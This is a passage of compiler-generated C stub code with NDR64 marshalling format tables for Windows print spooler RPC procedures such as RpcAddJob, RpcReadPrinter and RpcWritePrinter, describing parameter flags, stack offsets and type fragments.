1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag458,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag444_t __midl_frag444 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag502\n};\n\nstatic const __midl_frag438_t __midl_frag438 =\n{ \n/* RpcGetPrinterData */\n    { \n    /* RpcGetPrinterData */      /* procedure RpcGetPrinterData */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag502,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag1082,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag434_t __midl_frag434 =\n{ \n/* RpcScheduleJob */\n    { \n    /* RpcScheduleJob */      /* procedure RpcScheduleJob */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag423_t __midl_frag423 =\n{ \n/* RpcAddJob */\n    { \n    /* RpcAddJob */      /* procedure RpcAddJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pAddJob */      /* parameter pAddJob */\n        &__midl_frag546,\n        { \n        /* pAddJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag414_t __midl_frag414 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag413_t __midl_frag413 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag414\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag412_t __midl_frag412 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag413\n};\n\nstatic const __midl_frag410_t __midl_frag410 =\n{ \n/* RpcReadPrinter */\n    { \n    /* RpcReadPrinter */      /* procedure RpcReadPrinter */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag413,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcNoBytesRead */      /* parameter pcNoBytesRead */\n        &__midl_frag1087,\n        { \n        /* pcNoBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag408_t __midl_frag408 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag407_t __midl_frag407 =\n{ \n/* RpcAbortPrinter */\n    { \n    /* RpcAbortPrinter */      /* procedure RpcAbortPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag408,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag406_t __midl_frag406 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag405_t __midl_frag405 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag404_t __midl_frag404 =\n{ \n/* RpcEndPagePrinter */\n    { \n    /* RpcEndPagePrinter */      /* procedure RpcEndPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag403_t __midl_frag403 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag401_t __midl_frag401 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag403\n};\n\nstatic const __midl_frag397_t __midl_frag397 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag575\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag396_t __midl_frag396 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag397\n};\n\nstatic const __midl_frag394_t __midl_frag394 =\n{ \n/* RpcWritePrinter */\n    { \n    /* RpcWritePrinter */      /* procedure RpcWritePrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag397,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag403,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag391_t __midl_frag391 =\n{ \n/* RpcStartPagePrinter */\n    { \n    /* RpcStartPagePrinter */      /* procedure RpcStartPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag387_t __midl_frag387 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag384_t __midl_frag384 =\n{ \n/* DOC_INFO_1 */\n    { \n    /* DOC_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct 